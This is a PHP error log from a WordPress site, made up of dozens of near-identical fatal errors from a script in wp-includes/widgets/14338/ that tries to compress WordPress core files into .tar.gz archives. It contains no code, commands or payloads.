[05-Nov-2025 15:36:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class.wp-scripts.php.wp-scripts.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-site-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:36:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-block-type.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-http-encoding.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-date-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/registration-functions.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-http-proxy.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-http-response.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/speculative-loading.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-feed-cache.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-ajax-response.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-rewrite.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:37:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fonts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-scripts.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-recovery-mode.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rest-api.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/revision.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-files.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/feed-rdf.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-meta-query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-xmlrpc-server.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-dependency.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:38:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-compat.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/nav-menu.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/sitemaps.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/certificates.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/cache.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-template.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-patterns.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block-supports.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:39:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-network.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-json.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-term.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-hook.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-role.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-user.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-http.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-post.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-load.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/version.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wp-site.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/ms-site.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/widgets.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/session.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:40:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/interactivity-api.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 15:41:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/class-wpdb.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
